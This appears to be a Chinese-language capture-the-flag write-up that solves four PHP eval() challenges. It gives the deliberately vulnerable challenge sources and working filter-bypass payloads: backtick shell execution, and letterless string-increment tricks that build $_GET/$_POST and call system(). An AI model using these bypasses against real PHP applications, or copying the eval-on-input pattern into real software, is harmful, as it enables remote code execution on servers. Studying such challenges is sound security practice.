第一关源码:
<?php error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code); ?>
分析:post一个请求然后不能出现,和.
初步思路是直接用反引号输出,也就是echo出来一个shell命令
尝试如下:
用echo将值输出回来,然后反引号包裹shell命令。
第二关源码:
<?php //本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow)) { if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|~\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); } }else{ phpinfo(); } } ?>`
额,根据我的印象中,这个题需要用自增。
但是居然没有限制长度?只是限制了全数字和全字母
思路:用post构造一个get请求
<?php
$_=[].'';//'array'
$___ = $_[$__]; //a
$___++;
$___++;
$___++;
$___++;
$___++;//f
$____=++$___;//g
$_=[].'';
$___ = $_[$__]; //a
$___++;//b
$___++;//c
$___++;//d
$___++;//e
$____.=$___++;//ge
$_=[].'';
$___ = $_[$__]; //a
$___++;//b
$___++;//c
$___++;//d
$___++;//e
$___++;//f
$___++;//g
$___++;//h
$___++;//i
$___++;//j
$___++;//k
$___++;//l
$___++;//m
$___++;//n
$___++;//o
$___++;//p
$___++;//q
$___++;//r
$___++;//s
$___++;//t
$____.=$___++;
$_=_.$____;//_GET
($$_[_])($$_[__]);
这是编译前,记得删除注释后用url进行编码
然后在get请求里面用_和__代替掉system和ls
payload:?_=system&__=ls
第三关源码:
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
分析:自增加上长度过滤,但是放出来了0和1,可以用01做变量来进行传参。
<?php echo ''.[]; //输出 Array $_=(_/_._); echo $_; //输出NAN的第一个字符 其实是not a number缩写
<?php
$_=(_/_._)[0];//N
$_0=++$_;//o
$_1=_.++$_.$_0;//_po
$_++;//q
$_++;//r
$_1.=++$_.++$_;//_POST
$$_1[0]($$_1[1]);
在post里面用0和1进行命令执行 同样记得url编码
第四关源码:
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
只有0放出来了,并且字符数进一步缩小,但是可以在上一道题基础上改一下
payload: $_=(_/_._)[0]; $_0=++$_; $__=_.++$_.$_0; $_++; $_++; $__.=++$_.++$_; $$__[0]($$__[_]); //url编码